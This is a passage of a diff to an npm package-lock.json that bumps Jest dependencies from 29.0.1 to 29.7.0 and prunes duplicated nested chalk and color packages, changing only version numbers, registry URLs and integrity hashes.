"https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "jest-util": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.0.5.tgz", + "integrity": "sha512-pvyPWssDZR0FlfMxCBoc0tvM8iUEskaRFALUtGQYzVEAqisAztmy+R8LnU14KT4XA0H/a5HMVTXat1jLne010g==", "dev": true, "requires": { - "color-name": "~1.1.4" + "@jest/types": "30.0.5", + "@types/node": "*", + "chalk": "^4.1.2", + "ci-info": "^4.2.0", + "graceful-fs": "^4.2.11", + "picomatch": "^4.0.2" } }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "picomatch": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", + "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", "dev": true }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "pretty-format": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.0.5.tgz", + "integrity": "sha512-D1tKtYvByrBkFLe2wHJl2bwMJIiT8rW+XA+TiataH79/FszLQMrpGEvzUVkzPau7OCO0Qnrhpe87PqtOAIB8Yw==", "dev": true, "requires": { - "has-flag": "^4.0.0" + "@jest/schemas": "30.0.5", + "ansi-styles": "^5.2.0", + "react-is": "^18.3.1" } + }, + "react-is": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", + "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", + "dev": true } } }, - "jest-environment-jsdom": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-29.0.1.tgz", - "integrity": "sha512-rMF501kfui+bw4AmwowLA2bNaYb633A3ejFMN5pVU0AeOqLv2NbMAY5XzzlMr/+lM1itEf+3ZdCr9dGGrUfoxg==", - "dev": true, - "requires": { - "@jest/environment": "^29.0.1", - "@jest/fake-timers": "^29.0.1", - "@jest/types": "^29.0.1", - "@types/jsdom": "^20.0.0", - "@types/node": "*", - "jest-mock": "^29.0.1", - "jest-util": "^29.0.1", - "jsdom": "^20.0.0" - } - }, "jest-environment-node": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-29.0.1.tgz", - "integrity": "sha512-PcIRBrEBFAPBqkbL53ZpEvTptcAnOW6/lDfqBfACMm3vkVT0N7DcfkH/hqNSbDmSxzGr0FtJI6Ej3TPhveWCMA==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-29.7.0.tgz", + "integrity": "sha512-DOSwCRqXirTOyheM+4d5YZOrWcdu0LNZ87ewUoywbcb2XR4wKgqiG8vNeYwhjFMbEkfju7wx2GYH0P2gevGvFw==", "dev": true, "requires": { - "@jest/environment": "^29.0.1", - "@jest/fake-timers": "^29.0.1", - "@jest/types": "^29.0.1", + "@jest/environment": "^29.7.0", + "@jest/fake-timers": "^29.7.0", + "@jest/types": "^29.6.3", "@types/node": "*", - "jest-mock": "^29.0.1", - "jest-util": "^29.0.1" + "jest-mock": "^29.7.0", + "jest-util": "^29.7.0" } }, "jest-get-type": { - "version": "29.0.0", - "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-29.0.0.tgz", - "integrity": "sha512-83X19z/HuLKYXYHskZlBAShO7UfLFXu/vWajw9ZNJASN32li8yHMaVGAQqxFW1RCFOkB7cubaL6FaJVQqqJLSw==", + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-29.6.3.tgz", + "integrity": "sha512-zrteXnqYxfQh7l5FHyL38jL39di8H8rHoecLH3JNxH3BwOrBsNeabdap5e0I23lD4HHI8W5VFBZqG4Eaq5LNcw==", "dev": true }, "jest-haste-map": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-29.0.1.tgz", - "integrity": "sha512-gcKOAydafpGoSBvcj/mGCfhOKO8fRLkAeee1KXGdcJ1Pb9O2nnOl4I8bQSIID2MaZeMHtLLgNboukh/pUGkBtg==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-29.7.0.tgz", + "integrity": "sha512-fP8u2pyfqx0K1rGn1R9pyE0/KTn+G7PxktWidOBTqFPLYX0b9ksaMFkhK5vrS3DVun09pckLdlx90QthlW7AmA==", "dev": true, "requires": { - "@jest/types": "^29.0.1", + "@jest/types": "^29.6.3", "@types/graceful-fs": "^4.1.3", "@types/node": "*", "anymatch": "^3.0.3", "fb-watchman": "^2.0.0", "fsevents": "^2.3.2", "graceful-fs": "^4.2.9", - "jest-regex-util": "^29.0.0", - "jest-util": "^29.0.1", - "jest-worker": "^29.0.1", + "jest-regex-util": "^29.6.3", + "jest-util": "^29.7.0", + "jest-worker": "^29.7.0", "micromatch": "^4.0.4", "walker": "^1.0.8" }, @@ -27011,12 +23229,13 @@ "dev": true }, "jest-worker": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.0.1.tgz", - "integrity": "sha512-+B/2/8WW7goit7qVezG9vnI1QP3dlmuzi2W0zxazAQQ8dcDIA63dDn6j4pjOGBARha/ZevcwYQtNIzCySbS7fQ==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.7.0.tgz", + "integrity": "sha512-eIz2msL/EzL9UFTFFx7jBTkeZfku0yUAyZZZmJ93H2TYEiroIx2PQjEXcwYtYl8zXCxb+PAmA2hLIt/6ZEkPHw==", "dev": true, "requires": { "@types/node": "*", + "jest-util": "^29.7.0", "merge-stream": "^2.0.0", "supports-color": "^8.0.0" } @@ -27033,310 +23252,124 @@ } }, "jest-leak-detector": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-29.0.1.tgz", - "integrity": "sha512-5tISHJphB+sCmKXtVHJGQGltj7ksrLLb9vkuNWwFR86Of1tfzjskvrrrZU1gSzEfWC+qXIn4tuh8noKHYGMIPA==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-29.7.0.tgz", + "integrity": "sha512-kYA8IJcSYtST2BY9I+SMC32nDpBT3J2NvWJx8+JCuCdl/CR1I4EKUJROiP8XtCcxqgTTBGJNdbB1A8XRKbTetw==", "dev": true, "requires": { - "jest-get-type": "^29.0.0", - "pretty-format": "^29.0.1" + "jest-get-type": "^29.6.3", + "pretty-format": "^29.7.0" } }, "jest-matcher-utils": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-29.0.1.tgz", - "integrity": "sha512-/e6UbCDmprRQFnl7+uBKqn4G22c/OmwriE5KCMVqxhElKCQUDcFnq5XM9iJeKtzy4DUjxT27y9VHmKPD8BQPaw==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-29.7.0.tgz", + "integrity": "sha512-sBkD+Xi9DtcChsI3L3u0+N0opgPYnCRPtGcQYrgXmR+hmt/fYfWAL0xRXYU8eWOdfuLgBe0YCW3AFtnRLagq/g==", "dev": true, "requires": { "chalk": "^4.0.0", - "jest-diff": "^29.0.1", - "jest-get-type": "^29.0.0", - "pretty-format": "^29.0.1" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } - } + "jest-diff": "^29.7.0", + "jest-get-type": "^29.6.3", + "pretty-format": "^29.7.0" } }, "jest-message-util": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-29.0.1.tgz", - "integrity": "sha512-wRMAQt3HrLpxSubdnzOo68QoTfQ+NLXFzU0Heb18ZUzO2S9GgaXNEdQ4rpd0fI9dq2NXkpCk1IUWSqzYKji64A==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-29.7.0.tgz", + "integrity": "sha512-GBEV4GRADeP+qtB2+6u61stea8mGcOT4mCtrYISZwfu9/ISHFJ/5zOMXYbpBE9RsS5+Gb63DW4FgmnKJ79Kf6w==", "dev": true, "requires": { "@babel/code-frame": "^7.12.13", - "@jest/types": "^29.0.1", + "@jest/types": "^29.6.3", "@types/stack-utils": "^2.0.0", "chalk": "^4.0.0", "graceful-fs": "^4.2.9", "micromatch": "^4.0.4", - "pretty-format": "^29.0.1", + "pretty-format": "^29.7.0", "slash": "^3.0.0", "stack-utils": "^2.0.3" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } - } } }, "jest-mock": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-29.0.1.tgz", - "integrity": "sha512-i1yTceg2GKJwUNZFjIzrH7Y74fN1SKJWxQX/Vu3LT4TiJerFARH5l+4URNyapZ+DNpchHYrGOP2deVbn3ma8JA==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-29.7.0.tgz", + "integrity": "sha512-ITOMZn+UkYS4ZFh83xYAOzWStloNzJFO2s8DWrE4lhtGD+AorgnbkiKERe4wQVBydIGPx059g6riW5Btp6Llnw==", "dev": true, "requires": { - "@jest/types": "^29.0.1", - "@types/node": "*" + "@jest/types": "^29.6.3", + "@types/node": "*", + "jest-util": "^29.7.0" } }, "jest-pnp-resolver": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.2.tgz", - "integrity": "sha512-olV41bKSMm8BdnuMsewT4jqlZ8+3TCARAXjZGT9jcoSnrfUnRCqnMoF9XEeoWjbzObpqF9dRhHQj0Xb9QdF6/w==", + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.3.tgz", + "integrity": "sha512-+3NpwQEnRoIBtx4fyhblQDPgJI0H1IEIkX7ShLUjPGA7TtUTvI1oiKi3SR4oBR0hQhQR80l4WAe5RrXBwWMA8w==", "dev": true, "requires": {} }, "jest-regex-util": { - "version": "29.0.0", - "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-29.0.0.tgz", - "integrity": "sha512-BV7VW7Sy0fInHWN93MMPtlClweYv2qrSCwfeFWmpribGZtQPWNvRSq9XOVgOEjU1iBGRKXUZil0o2AH7Iy9Lug==", + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-29.6.3.tgz", + "integrity": "sha512-KJJBsRCyyLNWCNBOvZyRDnAIfUiRJ8v+hOBQYGn8gDyF3UegwiP4gwRR3/SDa42g1YbVycTidUF3rKjyLFDWbg==", "dev": true }, "jest-resolve": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-29.0.1.tgz", - "integrity": "sha512-dwb5Z0lLZbptlBtPExqsHfdDamXeiRLv4vdkfPrN84vBwLSWHWcXjlM2JXD/KLSQfljBcXbzI/PDvUJuTQ84Nw==", - "dev": true, - "requires": { - "chalk": "^4.0.0", - "graceful-fs": "^4.2.9", - "jest-haste-map": "^29.0.1", - "jest-pnp-resolver": "^1.2.2", - "jest-util": "^29.0.1", - "jest-validate": "^29.0.1", - "resolve": "^1.20.0", - "resolve.exports": "^1.1.0", - "slash": "^3.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } - } - } - }, - "jest-resolve-dependencies": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-29.0.1.tgz", - "integrity": "sha512-fUGcYlSc1NzNz+tsHDjjG0rclw6blJcFZsLEsezxm/n54bAm9HFvJxgBuCV1CJQoPtIx6AfR+tXkR9lpWJs2LQ==", - "dev": true, - "requires": { - "jest-regex-util": "^29.0.0", - "jest-snapshot": "^29.0.1" - } - }, - "jest-runner": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-29.0.1.tgz", - "integrity": "sha512-XeFfPmHtO7HyZyD1uJeO4Oqa8PyTbDHzS1YdGrvsFXk/A5eXinbqA5a42VUEqvsKQgNnKTl5NJD0UtDWg7cQ2A==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-29.7.0.tgz", + "integrity": "sha512-IOVhZSrg+UvVAshDSDtHyFCCBUl/Q3AAJv8iZ6ZjnZ74xzvwuzLXid9IIIPgTnY62SJjfuupMKZsZQRsCvxEgA==", "dev": true, - "requires": { - "@jest/console": "^29.0.1", - "@jest/environment": "^29.0.1", - "@jest/test-result": "^29.0.1", - "@jest/transform": "^29.0.1", - "@jest/types": "^29.0.1", - "@types/node": "*", - "chalk": "^4.0.0", - "emittery": "^0.10.2", - "graceful-fs": "^4.2.9", - "jest-docblock": "^29.0.0", - "jest-environment-node": "^29.0.1", - "jest-haste-map": "^29.0.1", - "jest-leak-detector": "^29.0.1", - "jest-message-util": "^29.0.1", - "jest-resolve": "^29.0.1", - "jest-runtime": "^29.0.1", - "jest-util": "^29.0.1", - "jest-watcher": "^29.0.1", - "jest-worker": "^29.0.1", - "p-limit": "^3.1.0", - "source-map-support": "0.5.13" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, + "requires": { + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^29.7.0", + "jest-pnp-resolver": "^1.2.2", + "jest-util": "^29.7.0", + "jest-validate": "^29.7.0", + "resolve": "^1.20.0", + "resolve.exports": "^2.0.0", + "slash": "^3.0.0" + } + }, + "jest-resolve-dependencies": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-29.7.0.tgz", + "integrity": "sha512-un0zD/6qxJ+S0et7WxeI3H5XSe9lTBBR7bOHCHXkKR6luG5mwDDlIzVQ0V5cZCuoTgEdcdwzTghYkTWfubi+nA==", + "dev": true, + "requires": { + "jest-regex-util": "^29.6.3", + "jest-snapshot": "^29.7.0" + } + }, + "jest-runner": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-29.7.0.tgz", + "integrity": "sha512-fsc4N6cPCAahybGBfTRcq5wFR6fpLznMg47sY5aDpsoejOcVYFb07AHuSnR0liMcPTgBsA3ZJL6kFOjPdoNipQ==", + "dev": true, + "requires": { + "@jest/console": "^29.7.0", + "@jest/environment": "^29.7.0", + "@jest/test-result": "^29.7.0", + "@jest/transform": "^29.7.0", + "@jest/types": "^29.6.3", + "@types/node": "*", + "chalk": "^4.0.0", + "emittery": "^0.13.1", + "graceful-fs": "^4.2.9", + "jest-docblock": "^29.7.0", + "jest-environment-node": "^29.7.0", + "jest-haste-map": "^29.7.0", + "jest-leak-detector": "^29.7.0", + "jest-message-util": "^29.7.0", + "jest-resolve": "^29.7.0", + "jest-runtime": "^29.7.0", + "jest-util": "^29.7.0", + "jest-watcher": "^29.7.0", + "jest-worker": "^29.7.0", + "p-limit": "^3.1.0", + "source-map-support": "0.5.13" + }, + "dependencies": { "has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", @@ -27344,12 +23377,13 @@ "dev": true }, "jest-worker": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.0.1.tgz", - "integrity": "sha512-+B/2/8WW7goit7qVezG9vnI1QP3dlmuzi2W0zxazAQQ8dcDIA63dDn6j4pjOGBARha/ZevcwYQtNIzCySbS7fQ==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.7.0.tgz", + "integrity": "sha512-eIz2msL/EzL9UFTFFx7jBTkeZfku0yUAyZZZmJ93H2TYEiroIx2PQjEXcwYtYl8zXCxb+PAmA2hLIt/6ZEkPHw==", "dev": true, "requires": { "@types/node": "*", + "jest-util": "^29.7.0", "merge-stream": "^2.0.0", "supports-color": "^8.0.0" }, @@ -27374,394 +23408,130 @@ "buffer-from": "^1.0.0", "source-map": "^0.6.0" } - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } } } }, "jest-runtime": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-29.0.1.tgz", - "integrity": "sha512-yDgz5OE0Rm44PUAfTqwA6cDFnTYnVcYbRpPECsokSASQ0I5RXpnKPVr2g0CYZWKzbsXqqtmM7TIk7CAutZJ7gQ==", - "dev": true, - "requires": { - "@jest/environment": "^29.0.1", - "@jest/fake-timers": "^29.0.1", - "@jest/globals": "^29.0.1", - "@jest/source-map": "^29.0.0", - "@jest/test-result": "^29.0.1", - "@jest/transform": "^29.0.1", - "@jest/types": "^29.0.1", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-29.7.0.tgz", + "integrity": "sha512-gUnLjgwdGqW7B4LvOIkbKs9WGbn+QLqRQQ9juC6HndeDiezIwhDP+mhMwHWCEcfQ5RUXa6OPnFF8BJh5xegwwQ==", + "dev": true, + "requires": { + "@jest/environment": "^29.7.0", + "@jest/fake-timers": "^29.7.0", + "@jest/globals": "^29.7.0", + "@jest/source-map": "^29.6.3", + "@jest/test-result": "^29.7.0", + "@jest/transform": "^29.7.0", + "@jest/types": "^29.6.3", "@types/node": "*", "chalk": "^4.0.0", "cjs-module-lexer": "^1.0.0", "collect-v8-coverage": "^1.0.0", "glob": "^7.1.3", "graceful-fs": "^4.2.9", - "jest-haste-map": "^29.0.1", - "jest-message-util": "^29.0.1", - "jest-mock": "^29.0.1", - "jest-regex-util": "^29.0.0", - "jest-resolve": "^29.0.1", - "jest-snapshot": "^29.0.1", - "jest-util": "^29.0.1", + "jest-haste-map": "^29.7.0", + "jest-message-util": "^29.7.0", + "jest-mock": "^29.7.0", + "jest-regex-util": "^29.6.3", + "jest-resolve": "^29.7.0", + "jest-snapshot": "^29.7.0", + "jest-util": "^29.7.0", "slash": "^3.0.0", "strip-bom": "^4.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } - } } }, "jest-snapshot": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-29.0.1.tgz", - "integrity": 